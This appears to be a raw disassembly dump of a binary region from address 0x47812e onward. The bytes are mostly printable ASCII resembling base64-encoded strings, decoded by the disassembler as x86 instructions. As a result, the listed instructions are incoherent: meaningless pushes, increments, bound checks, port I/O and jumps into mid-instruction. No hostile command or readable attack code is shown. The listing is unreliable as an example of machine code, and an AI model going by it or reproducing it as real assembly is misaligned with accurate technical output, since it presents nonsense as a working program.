47812e:	4e                   	dec    %esi
47812f:	66 53                	push   %bx
478131:	54                   	push   %esp
478132:	52                   	push   %edx
478133:	66 54                	push   %sp
478135:	54                   	push   %esp
478136:	45                   	inc    %ebp
478137:	41                   	inc    %ecx
478138:	55                   	push   %ebp
478139:	44                   	inc    %esp
47813a:	45                   	inc    %ebp
47813b:	41                   	inc    %ecx
47813c:	54                   	push   %esp
47813d:	47                   	inc    %edi
47813e:	52                   	push   %edx
47813f:	73 62                	jae    0x4781a3
478141:	32 4e 66             	xor    0x66(%esi),%cl
478144:	4d                   	dec    %ebp
478145:	51                   	push   %ecx
478146:	42                   	inc    %edx
478147:	54                   	push   %esp
478148:	64 47                	fs inc %edi
47814a:	78 76                	js     0x4781c2
47814c:	59                   	pop    %ecx
47814d:	31 38                	xor    %edi,(%eax)
47814f:	78 41                	js     0x478192
478151:	48                   	dec    %eax
478152:	68 34 4d 51 42       	push   $0x42514d34
478157:	31 5a 33             	xor    %ebx,0x33(%edx)
47815a:	6f                   	outsl  %ds:(%esi),(%dx)
47815b:	78 41                	js     0x47819e
47815d:	4f                   	dec    %edi
47815e:	36 41                	ss inc %ecx
478160:	67 44                	addr16 inc %esp
478162:	45                   	inc    %ebp
478163:	41                   	inc    %ecx
478164:	55                   	push   %ebp
478165:	6d                   	insl   (%dx),%es:(%edi)
478166:	56                   	push   %esi
478167:	68 5a 45 6c 75       	push   $0x756c455a
47816c:	64 44                	fs inc %esp
47816e:	4d                   	dec    %ebp
47816f:	79 41                	jns    0x4781b2
478171:	46                   	inc    %esi
478172:	52                   	push   %edx
478173:	76 53                	jbe    0x4781c8
478175:	57                   	push   %edi
478176:	35 30 4d 7a 49       	xor    $0x497a4d30,%eax
47817b:	41                   	inc    %ecx
47817c:	54                   	push   %esp
47817d:	47                   	inc    %edi
47817e:	52                   	push   %edx
47817f:	73 62                	jae    0x4781e3
478181:	32 4e 66             	xor    0x66(%esi),%cl
478184:	4d                   	dec    %ebp
478185:	67 42                	addr16 inc %edx
478187:	54                   	push   %esp
478188:	64 47                	fs inc %edi
47818a:	78 76                	js     0x478202
47818c:	59                   	pop    %ecx
47818d:	31 38                	xor    %edi,(%eax)
47818f:	79 41                	jns    0x4781d2
478191:	45                   	inc    %ebp
478192:	78 6b                	js     0x4781ff
478194:	62 47 39             	bound  %eax,0x39(%edi)
478197:	6a 58                	push   $0x58
478199:	7a 4d                	jp     0x4781e8
47819b:	41                   	inc    %ecx
47819c:	55                   	push   %ebp
47819d:	33 52 73             	xor    0x73(%edx),%edx
4781a0:	62 32                	bound  %esi,(%edx)
4781a2:	4e                   	dec    %esi
4781a3:	66 4d                	dec    %bp
4781a5:	77 42                	ja     0x4781e9
4781a7:	31 5a 33             	xor    %ebx,0x33(%edx)
4781aa:	6f                   	outsl  %ds:(%esi),(%dx)
4781ab:	7a 41                	jp     0x4781ee
4781ad:	45                   	inc    %ebp
4781ae:	6c                   	insb   (%dx),%es:(%edi)
4781af:	75 64                	jne    0x478215
4781b1:	44                   	inc    %esp
4781b2:	59                   	pop    %ecx
4781b3:	30 41 45             	xor    %al,0x45(%ecx)
4781b6:	78 6b                	js     0x478223
4781b8:	59                   	pop    %ecx
4781b9:	31 39                	xor    %edi,(%ecx)
4781bb:	4a                   	dec    %edx
4781bc:	4e                   	dec    %esi
4781bd:	41                   	inc    %ecx
4781be:	42                   	inc    %edx
4781bf:	44                   	inc    %esp
4781c0:	62 32                	bound  %esi,(%edx)
4781c2:	35 32 58 30 6b       	xor    $0x6b305832,%eax
4781c7:	30 41 45             	xor    %al,0x45(%ecx)
4781ca:	78 6b                	js     0x478237
4781cc:	59                   	pop    %ecx
4781cd:	31 39                	xor    %edi,(%ecx)
4781cf:	4a                   	dec    %edx
4781d0:	4e                   	dec    %esi
4781d1:	46                   	inc    %esi
4781d2:	38 31                	cmp    %dh,(%ecx)
4781d4:	41                   	inc    %ecx
4781d5:	46                   	inc    %esi
4781d6:	4a                   	dec    %edx
4781d7:	6c                   	insb   (%dx),%es:(%edi)
4781d8:	59                   	pop    %ecx
4781d9:	57                   	push   %edi
4781da:	52                   	push   %edx
4781db:	56                   	push   %esi
4781dc:	53                   	push   %ebx
4781dd:	57                   	push   %edi
4781de:	35 30 4d 54 59       	xor    $0x59544d30,%eax
4781e3:	41                   	inc    %ecx
4781e4:	5a                   	pop    %edx
4781e5:	32 56 30             	xor    0x30(%esi),%dl
4781e8:	58                   	pop    %eax
4781e9:	31 56 55             	xor    %edx,0x55(%esi)
4781ec:	52                   	push   %edx
4781ed:	6a 67                	push   $0x67
4781ef:	41                   	inc    %ecx
4781f0:	50                   	push   %eax
4781f1:	45                   	inc    %ebp
4781f2:	31 76 5a             	xor    %esi,0x5a(%esi)
4781f5:	48                   	dec    %eax
4781f6:	56                   	push   %esi
4781f7:	73 5a                	jae    0x478253
4781f9:	54                   	push   %esp
4781fa:	34 41                	xor    $0x41,%al
4781fc:	55                   	push   %ebp
4781fd:	6c                   	insb   (%dx),%es:(%edi)
4781fe:	4e                   	dec    %esi
4781ff:	42                   	inc    %edx
478200:	41                   	inc    %ecx
478201:	45                   	inc    %ebp
478202:	51                   	push   %ecx
478203:	41                   	inc    %ecx
478204:	63 57 68             	arpl   %edx,0x68(%edi)
478207:	71 54                	jno    0x47825d
478209:	46                   	inc    %esi
47820a:	5a                   	pop    %edx
47820b:	75 54                	jne    0x478261
47820d:	48                   	dec    %eax
47820e:	42                   	inc    %edx
47820f:	4b                   	dec    %ebx
478210:	62 58 68             	bound  %ebx,0x68(%eax)
478213:	46                   	inc    %esi
478214:	41                   	inc    %ecx
478215:	46                   	inc    %esi
478216:	4a                   	dec    %edx
478217:	30 5a 6c             	xor    %bl,0x6c(%edx)
47821a:	4a                   	dec    %edx
47821b:	72 54                	jb     0x478271
47821d:	6c                   	insb   (%dx),%es:(%edi)
47821e:	5a                   	pop    %edx
47821f:	6d                   	insl   (%dx),%es:(%edi)
478220:	62 33                	bound  %esi,(%ebx)
478222:	42                   	inc    %edx
478223:	76 54                	jbe    0x478279
478225:	41                   	inc    %ecx
478226:	42                   	inc    %edx
478227:	54                   	push   %esp
478228:	65 58                	gs pop %eax
47822a:	4e                   	dec    %esi
47822b:	30 5a 57             	xor    %bl,0x57(%edx)
47822e:	30 75 53             	xor    %dh,0x53(%ebp)
478231:	55                   	push   %ebp
478232:	38 41 52             	cmp    %al,0x52(%ecx)
478235:	46                   	inc    %esi
478236:	2c 52                	sub    $0x52,%al
478238:	46                   	inc    %esi
478239:	45                   	inc    %ebp
47823a:	41                   	inc    %ecx
47823b:	53                   	push   %ebx
47823c:	57                   	push   %edi
47823d:	35 32 5a 58 4a       	xor    $0x4a585a32,%eax
478242:	7a 5a                	jp     0x47829e
478244:	56                   	push   %esi
478245:	45                   	inc    %ebp
478246:	41                   	inc    %ecx
478247:	54                   	push   %esp
478248:	47                   	inc    %edi
478249:	52                   	push   %edx
47824a:	73 62                	jae    0x4782ae
47824c:	32 4e 66             	xor    0x66(%esi),%cl
47824f:	55                   	push   %ebp
478250:	77 42                	ja     0x478294
478252:	54                   	push   %esp
478253:	64 47                	fs inc %edi
478255:	78 76                	js     0x4782cd
478257:	59                   	pop    %ecx
478258:	31 39                	xor    %edi,(%ecx)
47825a:	54                   	push   %esp
47825b:	41                   	inc    %ecx
47825c:	45                   	inc    %ebp
47825d:	4a                   	dec    %edx
47825e:	79 5a                	jns    0x4782ba
478260:	6d                   	insl   (%dx),%es:(%edi)
478261:	46                   	inc    %esi
478262:	73 63                	jae    0x4782c7
478264:	32 56 66             	xor    0x66(%esi),%dl
478267:	55                   	push   %ebp
478268:	77 42                	ja     0x4782ac
47826a:	43                   	inc    %ebx
47826b:	62 6d 56             	bound  %ebp,0x56(%ebp)
47826e:	66 56                	push   %si
478270:	57                   	push   %edi
478271:	35 66 55 77 42       	xor    $0x42775566,%eax
478276:	43                   	inc    %ebx
478277:	5a                   	pop    %edx
478278:	58                   	pop    %eax
478279:	46                   	inc    %esi
47827a:	66 55                	push   %bp
47827c:	77 42                	ja     0x4782c0
47827e:	43                   	inc    %ebx
47827f:	63 6c 39 54          	arpl   %ebp,0x54(%ecx,%edi,1)
478283:	41                   	inc    %ecx
478284:	45                   	inc    %ebp
478285:	4a                   	dec    %edx
478286:	73 64                	jae    0x4782ec
478288:	46                   	inc    %esi
478289:	39 54 41 48          	cmp    %edx,0x48(%ecx,%eax,2)
47828d:	4e                   	dec    %esi
47828e:	6c                   	insb   (%dx),%es:(%edi)
47828f:	64 46                	fs inc %esi
478291:	39 4a 56             	cmp    %ecx,0x56(%edx)
478294:	67 42                	addr16 inc %edx
478296:	35 54 55 6c 68       	xor    $0x686c5554,%eax
47829b:	57                   	push   %edi
47829c:	41                   	inc    %ecx
47829d:	42                   	inc    %edx
47829e:	32 54 46 4e          	xor    0x4e(%esi,%eax,2),%dl
4782a2:	68 57 6b 5a 47       	push   $0x475a6b57
4782a7:	5a                   	pop    %edx
4782a8:	6e                   	outsb  %ds:(%esi),(%dx)
4782a9:	56                   	push   %esi
4782aa:	68 57 46 6b 41       	push   $0x416b4657
4782af:	59                   	pop    %ecx
4782b0:	57                   	push   %edi
4782b1:	46                   	inc    %esi
4782b2:	68 41 45 64 6c       	push   $0x6c644541
4782b7:	64 45                	fs inc %ebp
4782b9:	52                   	push   %edx
4782ba:	68 64 47 45 41       	push   $0x41454764
4782bf:	56                   	push   %esi
4782c0:	47                   	inc    %edi
4782c1:	39 42 63             	cmp    %eax,0x63(%edx)
4782c4:	6d                   	insl   (%dx),%es:(%edi)
4782c5:	64 69 41 47 31 7a 59 	imul   $0x32597a31,%fs:0x47(%ecx),%eax
4782cc:	32
4782cd:	39 79 62             	cmp    %edi,0x62(%ecx)
4782d0:	47                   	inc    %edi
4782d1:	6c                   	insb   (%dx),%es:(%edi)
4782d2:	69 41 45 31 70 59 33 	imul   $0x33597031,0x45(%ecx),%eax
4782d9:	4a                   	dec    %edx
4782da:	76 63                	jbe    0x47833f
4782dc:	32 39                	xor    (%ecx),%bh
4782de:	6d                   	insl   (%dx),%es:(%edi)
4782df:	64 43                	fs inc %ebx
4782e1:	35 57 61 58 4e       	xor    $0x4e586157,%eax
4782e6:	31 59 57             	xor    %ebx,0x57(%ecx)
4782e9:	78 43                	js     0x47832e
4782eb:	59                   	pop    %ecx
4782ec:	58                   	pop    %eax
4782ed:	4e                   	dec    %esi
4782ee:	70 59                	jo     0x478349
4782f0:	77 42                	ja     0x478334
4782f2:	68 63 32 52 68       	push   $0x68523263
4782f7:	5a                   	pop    %edx
4782f8:	47                   	inc    %edi
4782f9:	46                   	inc    %esi
4782fa:	6b 41 46 4a          	imul   $0x4a,0x46(%ecx),%eax
4782fe:	6c                   	insb   (%dx),%es:(%edi)
4782ff:	59                   	pop    %ecx
478300:	57                   	push   %edi
478301:	51                   	push   %ecx
478302:	41                   	inc    %ecx
478303:	56                   	push   %esi
478304:	47                   	inc    %edi
478305:	68 79 5a 57 46       	push   $0x46575a79
47830a:	6b 41 45 78          	imul   $0x78,0x45(%ecx),%eax
47830e:	76 59                	jbe    0x478369
478310:	57                   	push   %edi
478311:	51                   	push   %ecx
478312:	41                   	inc    %ecx
478313:	51                   	push   %ecx
478314:	57                   	push   %edi
478315:	52                   	push   %edx
478316:	6b 41 45 52          	imul   $0x52,0x45(%ecx),%eax
47831a:	6c                   	insb   (%dx),%es:(%edi)
47831b:	5a                   	pop    %edx
47831c:	6d                   	insl   (%dx),%es:(%edi)
47831d:	6c                   	insb   (%dx),%es:(%edi)
47831e:	75 5a                	jne    0x47837a
478320:	55                   	push   %ebp
478321:	31 6c 64 47          	xor    %ebp,0x47(%esp,%eiz,2)
478325:	68 76 5a 41 42       	push   $0x42415a76
47832a:	48                   	dec    %eax
47832b:	5a                   	pop    %edx
47832c:	58                   	pop    %eax
47832d:	52                   	push   %edx
47832e:	4e                   	dec    %esi
47832f:	5a                   	pop    %edx
478330:	58                   	pop    %eax
478331:	52                   	push   %edx
478332:	6f                   	outsl  %ds:(%esi),(%dx)
478333:	62 32                	bound  %esi,(%edx)
478335:	51                   	push   %ecx
478336:	41                   	inc    %ecx
478337:	54                   	push   %esp
478338:	33 42 44             	xor    0x44(%edx),%eax
47833b:	62 32                	bound  %esi,(%edx)
47833d:	52                   	push   %edx
47833e:	6c                   	insb   (%dx),%es:(%edi)
47833f:	41                   	inc    %ecx
478340:	45                   	inc    %ebp
478341:	4e                   	dec    %esi
478342:	79 65                	jns    0x4783a9
478344:	58                   	pop    %eax
478345:	42                   	inc    %edx
478346:	30 62 31             	xor    %ah,0x31(%edx)
478349:	4e                   	dec    %esi
47834a:	30 63 6d             	xor    %ah,0x6d(%ebx)
47834d:	56                   	push   %esi
47834e:	68 62 55 31 76       	push   $0x76315562
478353:	5a                   	pop    %edx
478354:	47                   	inc    %edi
478355:	55                   	push   %ebp
478356:	41                   	inc    %ecx
478357:	5a                   	pop    %edx
478358:	32 56 30             	xor    0x30(%esi),%dl
47835b:	58                   	pop    %eax
47835c:	30 4a 70             	xor    %cl,0x70(%edx)
47835f:	5a                   	pop    %edx
478360:	30 56 75             	xor    %dl,0x75(%esi)
478363:	5a                   	pop    %edx
478364:	47                   	inc    %edi
478365:	6c                   	insb   (%dx),%es:(%edi)
478366:	68 62 6c 56 75       	push   $0x75566c62
47836b:	61                   	popa
47836c:	57                   	push   %edi
47836d:	4e                   	dec    %esi
47836e:	76 5a                	jbe    0x4783ca
478370:	47                   	inc    %edi
478371:	55                   	push   %ebp
478372:	41                   	inc    %ecx
478373:	53                   	push   %ebx
478374:	57                   	push   %edi
478375:	31 68 5a             	xor    %ebp,0x5a(%eax)
478378:	32 55 41             	xor    0x41(%ebp),%dl
47837b:	52                   	push   %edx